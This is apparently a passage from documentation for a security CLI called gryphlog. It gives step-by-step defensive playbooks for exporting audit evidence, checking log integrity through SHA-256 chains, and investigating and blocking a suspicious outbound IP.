When a compliance auditor, customer, or cyber insurance underwriter requests proof of user activity:

Step 1:
Compiles the full chronological user timeline, process lineage, and file diffs into an offline, self-contained HTML evidence document.
gryphlog session S260926-b5467e --html /var/reports/audit-incident.html
PLAYBOOK C

Verifying Database Authenticity & Tamper Resistance

To prove in a court of law or security review that logs were not manipulated after root compromise:

Step 1:
Returns exit code 0 if every SHA-256 chain link is valid; returns exit code 1 with row-level violation coordinates if any byte was edited.
gryphlog verify
PLAYBOOK D

Comprehensive SOC Incident Investigation & Containment

When an intrusion alert triggers on an access session or suspicious outbound connection:

Step 1:
Performs automated session forensics, computes 0–100 behavioral risk score, and maps MITRE ATT&CK techniques.
gryphlog analyze S260925-3fa9c2
Step 2:
Inspects host network posture and attributes open outbound TCP sockets directly to session processes.
gryphlog device analyze S260925-3fa9c2
Step 3:
Cross-references the offending destination against local SQLite history and multi-provider OSINT threat feeds.
gryphlog ip investigate 185.220.101.5 --session S260925-3fa9c2
Step 4:
Executes verified host containment with fail-safe anti-lockout checks and records cryptographic audit trail.
gryphlog firewall block-ip 185.220.101.5 --yes